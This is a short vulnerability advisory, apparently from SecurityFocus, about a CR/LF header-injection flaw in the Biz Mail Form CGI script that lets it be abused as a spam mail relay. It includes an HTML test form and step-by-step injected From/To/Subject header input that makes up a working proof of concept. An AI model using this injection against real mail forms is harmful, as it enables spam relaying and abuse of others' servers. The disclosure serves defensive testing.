source: https://www.securityfocus.com/bid/12620/info Biz Mail Form is prone to a vulnerability that allows the application to be abused as a mail relay. An attacker can exploit this issue to inject arbitrary SMTP headers by using CR and LF sequences. If successful, it becomes possible to abuse the application as a mail relay. Email may be sent to arbitrary computers. This could be exploited by spammers or other malicious parties. Update: It is reported that the update to address this issue (Biz Mail Form 2.2) is vulnerable to this issue as well. The affected version is being added as a vulnerable package and the fixes are being removed. <HTML> <HEAD> <TITLE>Exploit Test Page</TITLE> </HEAD> <BODY> <form action="http://www.example.com/cgi-bin/bizmail/bizmail.cgi" method="POST" name="Subscribe"> <TEXTAREA rows="5" name="email"></textarea> <INPUT TYPE="submit" VALUE="Submit" class="submit"> </FORM> </BODY> </HTML> In the textbox that pops up, enter in the following (begin by hitting enter to insert a blank line) From:email@example.com To:yourvalidemail@yourdomain.com Subject:Exploit Test This is a test Click submit. You'll receive an email from the bizmail script, but you won't receive the normal contact email. You can check the .dat file and see a copy of what you sent.